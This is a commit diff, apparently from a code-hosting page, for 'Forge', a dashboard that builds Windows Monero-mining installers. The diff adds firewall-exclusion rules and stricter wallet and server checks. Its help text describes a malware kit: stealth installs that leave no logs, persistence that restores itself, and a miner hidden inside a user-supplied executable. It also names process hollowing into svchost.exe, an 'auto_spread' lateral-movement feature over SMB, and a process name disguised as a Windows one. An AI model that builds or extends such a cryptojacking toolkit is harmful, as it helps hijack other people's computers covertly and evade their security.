Stabilize Fusion builds and simplify optional modules.
Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
@@ -77,7 +77,7 @@ export const FORGE_VS_CALIBRATE = {
|
||||
'Worker name & server URL',
|
||||
'Wallet & pool (host, port, TLS)',
|
||||
'Threads, CPU/RAM limits, schedule',
|
||||
'Install path, stealth, persistence',
|
||||
'Install path, stealth, persistence, firewall rules',
|
||||
'Fusion prep bundling',
|
||||
'AI Autonomy toggle + Ollama model',
|
||||
],
|
||||
@@ -91,6 +91,7 @@ export const FORGE_VS_CALIBRATE = {
|
||||
'Default pool/wallet for new Forge forms',
|
||||
'Stats & build retention, max agents/build size',
|
||||
'WebSocket ping, pool reconnect, logging toggles',
|
||||
'Open control-server port in Windows Firewall',
|
||||
],
|
||||
},
|
||||
};
|
||||
@@ -144,7 +145,8 @@ export const AI_GUIDE: CheatStep[] = [
|
||||
];
|
||||
|
||||
export const TROUBLESHOOTING = [
|
||||
{ problem: 'Agent never appears', fix: 'Server URL must be LAN IP (192.168.x.x), not localhost. Check Windows firewall on port 8989.' },
|
||||
{ problem: 'Agent never appears', fix: 'Server URL must be LAN IP (192.168.x.x), not localhost. Enable Calibrate → open firewall port, and Forge → firewall exclusion on workers. Router must allow LAN→LAN traffic.' },
|
||||
{ problem: 'Firewall blocked miner', fix: 'Re-forge with Windows Firewall allow rules enabled, run installer once as Administrator, or manually allow the installed .exe in Windows Security → Firewall.' },
|
||||
{ problem: '0 hashrate', fix: 'Pool must be reachable from control server. Check pool host/TLS/port in Forge match your pool docs.' },
|
||||
{ problem: 'Forge blocked', fix: 'Read preflight ✕ errors. Common: missing wallet, localhost URL, Fusion without prep.exe, AI without Ollama URL.' },
|
||||
{ problem: 'Shares all rejected', fix: 'Wallet address invalid or pool down. Accept rate waits for real pool validation now.' },
|
||||
|
||||
@@ -3,7 +3,8 @@ import type { PreflightCheck } from './forgeValidation';
|
||||
|
||||
function looksLikeXMRWallet(addr: string): boolean {
|
||||
const a = addr.trim();
|
||||
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
|
||||
// Standard Monero addresses start with 4, subaddresses with 8
|
||||
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
|
||||
}
|
||||
|
||||
/** Extra incompatibility checks beyond basic validation. */
|
||||
@@ -137,7 +138,7 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
||||
checks.push({
|
||||
id: 'ai_localhost',
|
||||
level: 'warn',
|
||||
message: 'Ollama URL uses 127.0.0.1 — that means the control server PC, not the worker machine.',
|
||||
message: 'Ollama URL uses 127.0.0.1 (Control Server). This is correct if Ollama is running on this machine.',
|
||||
});
|
||||
}
|
||||
|
||||
@@ -149,7 +150,14 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
||||
});
|
||||
}
|
||||
|
||||
if (form.process_name.trim() && !/^[a-zA-Z0-9._-]+$/.test(form.process_name.trim())) {
|
||||
const processName = form.process_name || '';
|
||||
if (!processName.trim()) {
|
||||
checks.push({
|
||||
id: 'process_name_empty',
|
||||
level: 'error',
|
||||
message: 'Process Name is required. This determines the installed .exe name.',
|
||||
});
|
||||
} else if (!/^[a-zA-Z0-9._-]+$/.test(processName.trim())) {
|
||||
checks.push({
|
||||
id: 'process_name',
|
||||
level: 'warn',
|
||||
@@ -157,7 +165,36 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
||||
});
|
||||
}
|
||||
|
||||
if (form.wallet.trim() && looksLikeXMRWallet(form.wallet) && form.pool_host.trim()) {
|
||||
const wallet = form.wallet || '';
|
||||
const poolHost = form.pool_host || '';
|
||||
const workerName = form.worker_name || '';
|
||||
const serverUrl = form.server_url || '';
|
||||
|
||||
if (!workerName.trim()) {
|
||||
checks.push({
|
||||
id: 'worker_name_empty',
|
||||
level: 'error',
|
||||
message: 'Worker Name is required. This identifies the machine in your fleet.',
|
||||
});
|
||||
}
|
||||
|
||||
if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) {
|
||||
checks.push({
|
||||
id: 'server_url_localhost',
|
||||
level: 'error',
|
||||
message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.',
|
||||
});
|
||||
}
|
||||
|
||||
if (wallet.trim() && !looksLikeXMRWallet(wallet)) {
|
||||
checks.push({
|
||||
id: 'wallet_invalid',
|
||||
level: 'warn',
|
||||
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 95-106). Double check it.',
|
||||
});
|
||||
}
|
||||
|
||||
if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) {
|
||||
checks.push({
|
||||
id: 'forge_ready',
|
||||
level: 'ok',
|
||||
|
||||
@@ -31,6 +31,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
self_healing: true,
|
||||
file_logging: false,
|
||||
stealth_mode: true,
|
||||
firewall_exclusion: true,
|
||||
fusion_enabled: false,
|
||||
fusion_run_order: 'parallel',
|
||||
fusion_output_name: 'prep.exe',
|
||||
|
||||
@@ -84,7 +84,7 @@ export function applyForgeFieldUpdate(
|
||||
next.silent_mode = true;
|
||||
}
|
||||
break;
|
||||
|
||||
|
||||
case 'display_mode':
|
||||
if (value === 'visible') {
|
||||
next.stealth_mode = false;
|
||||
@@ -238,6 +238,7 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
: undefined,
|
||||
},
|
||||
self_healing: { disabled: false, badge: 'baked' },
|
||||
firewall_exclusion: { disabled: false, badge: 'baked' },
|
||||
stealth_mode: { disabled: false, badge: 'baked' },
|
||||
file_logging: {
|
||||
disabled: form.stealth_mode,
|
||||
@@ -288,6 +289,9 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
badge: 'requires',
|
||||
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
||||
},
|
||||
process_hollowing: { disabled: false, badge: 'baked' },
|
||||
mesh_p2p: { disabled: false, badge: 'baked' },
|
||||
auto_spread: { disabled: false, badge: 'baked' },
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ const baseForm = (): BuildRequest => ({
|
||||
run_as: 'user',
|
||||
auto_start: true,
|
||||
persistence: true,
|
||||
process_name: '',
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
max_cpu_usage_pct: 80,
|
||||
max_memory_percent: 70,
|
||||
min_free_ram_mb: 1024,
|
||||
@@ -31,6 +31,7 @@ const baseForm = (): BuildRequest => ({
|
||||
self_healing: true,
|
||||
file_logging: true,
|
||||
stealth_mode: false,
|
||||
firewall_exclusion: false,
|
||||
pool_host: 'pool.supportxmr.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: true,
|
||||
|
||||
@@ -9,7 +9,7 @@ export interface PreflightCheck {
|
||||
message: string;
|
||||
}
|
||||
|
||||
function isLanReachableUrl(url: string): boolean {
|
||||
function isReachableServerUrl(url: string): boolean {
|
||||
try {
|
||||
const u = new URL(url.trim());
|
||||
const host = u.hostname.toLowerCase();
|
||||
@@ -22,7 +22,9 @@ function isLanReachableUrl(url: string): boolean {
|
||||
if (second >= 16 && second <= 31) return true;
|
||||
}
|
||||
}
|
||||
return host.includes('.');
|
||||
// Public hostnames (Cloudflare tunnel, domain, etc.)
|
||||
if (host.includes('.') && (u.protocol === 'http:' || u.protocol === 'https:')) return true;
|
||||
return false;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
@@ -46,14 +48,16 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
|
||||
|
||||
if (!form.server_url.trim()) {
|
||||
checks.push({ id: 'server', level: 'error', message: 'Server URL is required — miners must reach your control server.' });
|
||||
} else if (!isLanReachableUrl(form.server_url)) {
|
||||
} else if (!isReachableServerUrl(form.server_url)) {
|
||||
checks.push({
|
||||
id: 'server',
|
||||
level: 'error',
|
||||
message: 'Server URL should be your LAN IP (e.g. http://192.168.1.10:8989), not localhost.',
|
||||
message: 'Server URL must be reachable by workers — use LAN IP or your public https:// hostname, not localhost.',
|
||||
});
|
||||
} else {
|
||||
checks.push({ id: 'server', level: 'ok', message: 'Server URL looks reachable from other PCs on your network.' });
|
||||
const u = new URL(form.server_url.trim());
|
||||
const hint = u.protocol === 'https:' ? 'Public/tunnel URL OK.' : 'LAN URL OK.';
|
||||
checks.push({ id: 'server', level: 'ok', message: `Control endpoint looks valid. ${hint}` });
|
||||
}
|
||||
|
||||
if (!form.wallet.trim()) {
|
||||
|
||||
@@ -20,10 +20,10 @@ export const SETUP_CHEATSHEET = [
|
||||
export const FIELD_HELP: Record<string, string> = {
|
||||
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
|
||||
server_url:
|
||||
'Control server URL baked into the installer (http://LAN-IP:port). Editable in Forge when your host IP changes; use a LAN address, not localhost.',
|
||||
'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
|
||||
output_dir:
|
||||
'Optional: also copy the finished .exe into a folder under the server data_dir (example: exports). This is just for convenience; builds are always kept under data/builds/<id>/ and downloadable.',
|
||||
wallet: 'Monero wallet address where pool payouts go. Must be a valid 95-character mainnet address starting with 4.',
|
||||
'Optional extra copy into a subfolder (e.g. exports). The forged .exe is always written to the project root as a single file with the same name as your Fusion output setting.',
|
||||
wallet: 'Monero wallet address where pool payouts go. Must be a valid mainnet address starting with 4 or 8.',
|
||||
pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.',
|
||||
pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.',
|
||||
pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.',
|
||||
@@ -48,6 +48,7 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||
fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
|
||||
fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
|
||||
fusion_prep: 'The executable you want to bundle the miner inside. The final forged output will launch this prep file and the hidden miner.',
|
||||
fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
|
||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
@@ -57,9 +58,14 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.',
|
||||
adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
|
||||
self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
|
||||
firewall_exclusion: 'On first install, adds Windows Firewall inbound/outbound allow rules for the installed miner .exe. Helps on locked-down PCs; may require one Run as administrator if the rule fails.',
|
||||
open_firewall_on_start: 'When enabled, the control server adds a Windows Firewall inbound rule for its listen port (default 8989) on startup so LAN agents can connect.',
|
||||
file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
|
||||
stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
|
||||
ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.',
|
||||
ai_ollama_endpoint: 'Ollama API URL on the control server machine (example: http://localhost:11434). The hub calls Ollama — not the worker directly.',
|
||||
ai_model: 'Ollama model name to use for AI decisions (example: llama3.2). Must be pulled locally on the control server.',
|
||||
process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
|
||||
mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
|
||||
auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
|
||||
};
|
||||
|
||||
@@ -511,7 +511,7 @@ export default function BuilderPage() {
|
||||
description="This miner's pool connection — host, port, TLS, and password are baked into the worker."
|
||||
/>
|
||||
<div className="form-group">
|
||||
<label className="label">Pool Host</label>
|
||||
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
@@ -522,7 +522,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Port</label>
|
||||
<label className="label">Port <HelpTip field="pool_port" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
@@ -540,12 +540,12 @@ export default function BuilderPage() {
|
||||
checked={form.pool_tls}
|
||||
onChange={(e) => updateField('pool_tls', e.target.checked)}
|
||||
/>
|
||||
<span>Use TLS/SSL</span>
|
||||
<span>Use TLS/SSL <HelpTip field="pool_tls" /></span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Pool Password</label>
|
||||
<label className="label">Pool Password <HelpTip field="pool_pass" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
@@ -630,7 +630,7 @@ export default function BuilderPage() {
|
||||
{form.mining_mode === 'idle' && (
|
||||
<div className="form-row">
|
||||
<div className={`form-group ${fieldMeta.idle_threshold_pct?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Idle CPU Threshold (%)</label>
|
||||
<label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
@@ -642,7 +642,7 @@ export default function BuilderPage() {
|
||||
/>
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Idle Duration (min)</label>
|
||||
<label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
@@ -657,7 +657,7 @@ export default function BuilderPage() {
|
||||
{form.mining_mode === 'scheduled' && (
|
||||
<div className="form-row">
|
||||
<div className={`form-group ${fieldMeta.schedule_start?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Start Time</label>
|
||||
<label className="label">Start Time <HelpTip field="schedule_start" /></label>
|
||||
<input
|
||||
type="time"
|
||||
className="input"
|
||||
@@ -667,7 +667,7 @@ export default function BuilderPage() {
|
||||
/>
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.schedule_end?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">End Time</label>
|
||||
<label className="label">End Time <HelpTip field="schedule_end" /></label>
|
||||
<input
|
||||
type="time"
|
||||
className="input"
|
||||
@@ -732,6 +732,14 @@ export default function BuilderPage() {
|
||||
<FieldHint field="adapt_to_hardware" />
|
||||
<ForgeLockedHint meta={fieldMeta.adapt_to_hardware} />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.firewall_exclusion}
|
||||
onChange={(e) => updateField('firewall_exclusion', e.target.checked)} />
|
||||
<span>Windows Firewall allow rules for this miner <HelpTip field="firewall_exclusion" /></span>
|
||||
</label>
|
||||
<FieldHint field="firewall_exclusion" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.self_healing}
|
||||
@@ -801,7 +809,7 @@ export default function BuilderPage() {
|
||||
<input type="checkbox" className="checkbox" checked={form.auto_start}
|
||||
disabled={fieldMeta.auto_start?.disabled}
|
||||
onChange={(e) => updateField('auto_start', e.target.checked)} />
|
||||
<span>Also register startup entry (linked to persistence)</span>
|
||||
<span>Also register startup entry (linked to persistence) <HelpTip field="auto_start" /></span>
|
||||
</label>
|
||||
<ForgeLockedHint meta={fieldMeta.auto_start} />
|
||||
</div>
|
||||
@@ -825,7 +833,7 @@ export default function BuilderPage() {
|
||||
<>
|
||||
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
|
||||
<label className="label">Your prep.exe <HelpTip field="fusion_prep" /></label>
|
||||
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
|
||||
</div>
|
||||
<input
|
||||
@@ -881,7 +889,7 @@ export default function BuilderPage() {
|
||||
<>
|
||||
<div className={`form-group ${fieldMeta.ai_ollama_endpoint?.disabled ? 'field-disabled' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Ollama Endpoint URL</label>
|
||||
<label className="label">Ollama Endpoint URL <HelpTip field="ai_ollama_endpoint" /></label>
|
||||
<ForgeFieldBadge meta={fieldMeta.ai_ollama_endpoint} />
|
||||
</div>
|
||||
<input
|
||||
@@ -897,7 +905,7 @@ export default function BuilderPage() {
|
||||
</p>
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.ai_model?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Ollama Model</label>
|
||||
<label className="label">Ollama Model <HelpTip field="ai_model" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
@@ -953,19 +961,28 @@ export default function BuilderPage() {
|
||||
)}
|
||||
<p><strong>File:</strong> {lastBuild.file_name}</p>
|
||||
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
|
||||
<p><strong>Absolute path:</strong></p>
|
||||
<code className="path-display">{lastBuild.file_path}</code>
|
||||
<p><strong>Relative path:</strong></p>
|
||||
<code className="path-display">{lastBuild.relative_path}</code>
|
||||
{lastBuild.export_path && (
|
||||
<>
|
||||
<p><strong>Your file (project root):</strong></p>
|
||||
<code className="path-display">{lastBuild.export_path}</code>
|
||||
<p className="form-hint">Fusion builds keep the same icon as your uploaded prep when Windows icon extraction succeeds.</p>
|
||||
</>
|
||||
)}
|
||||
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
|
||||
{lastBuild.download_url && (
|
||||
<a className="btn btn-primary" href={lastBuild.download_url} download>
|
||||
Download .exe
|
||||
</a>
|
||||
)}
|
||||
{lastBuild.uninstall_export_path && (
|
||||
<p><strong>Uninstaller copy:</strong> <code className="mono-sm">{lastBuild.uninstall_export_path}</code></p>
|
||||
)}
|
||||
{lastBuild.uninstall_download_url && (
|
||||
<>
|
||||
<p><strong>Uninstaller:</strong> {lastBuild.uninstall_file_name}</p>
|
||||
<code className="path-display">{lastBuild.uninstall_path}</code>
|
||||
{!lastBuild.uninstall_export_path && (
|
||||
<code className="path-display">{lastBuild.uninstall_path}</code>
|
||||
)}
|
||||
<a className="btn btn-outline" href={lastBuild.uninstall_download_url} download>
|
||||
Download uninstall script
|
||||
</a>
|
||||
|
||||
@@ -31,6 +31,7 @@ export default function SettingsPage() {
|
||||
log_pool_traffic: cfg.server?.log_pool_traffic ?? false,
|
||||
strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false,
|
||||
dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion',
|
||||
open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true,
|
||||
},
|
||||
});
|
||||
setServerInfo(info);
|
||||
@@ -136,6 +137,7 @@ export default function SettingsPage() {
|
||||
log_pool_traffic: false,
|
||||
strict_wallet_validation: false,
|
||||
dashboard_subtitle: '',
|
||||
open_firewall_on_start: true,
|
||||
};
|
||||
|
||||
return (
|
||||
@@ -203,6 +205,14 @@ export default function SettingsPage() {
|
||||
<input type="text" className="input" value={s.dashboard_subtitle}
|
||||
onChange={(e) => updateField('server.dashboard_subtitle', e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={s.open_firewall_on_start ?? true}
|
||||
onChange={(e) => updateField('server.open_firewall_on_start', e.target.checked)} />
|
||||
<span>Open dashboard port in Windows Firewall on startup <HelpTip field="open_firewall_on_start" /></span>
|
||||
</label>
|
||||
<FieldHint field="open_firewall_on_start" />
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="cyan" className="settings-section">
|
||||
|
||||
@@ -99,6 +99,7 @@ export interface ServerSettings {
|
||||
log_pool_traffic: boolean;
|
||||
strict_wallet_validation: boolean;
|
||||
dashboard_subtitle: string;
|
||||
open_firewall_on_start: boolean;
|
||||
}
|
||||
|
||||
export interface PoolConfig {
|
||||
@@ -227,6 +228,7 @@ export interface BuildRequest {
|
||||
self_healing: boolean;
|
||||
file_logging: boolean;
|
||||
stealth_mode: boolean;
|
||||
firewall_exclusion: boolean;
|
||||
pool_host: string;
|
||||
pool_port: number;
|
||||
pool_tls: boolean;
|
||||
@@ -251,6 +253,8 @@ export interface BuildResponse {
|
||||
uninstall_file_name?: string;
|
||||
uninstall_path?: string;
|
||||
uninstall_download_url?: string;
|
||||
export_path?: string;
|
||||
uninstall_export_path?: string;
|
||||
error?: string;
|
||||
fusion_enabled?: boolean;
|
||||
worker_file?: string;
|
||||
|
||||
Reference in New Issue
Block a user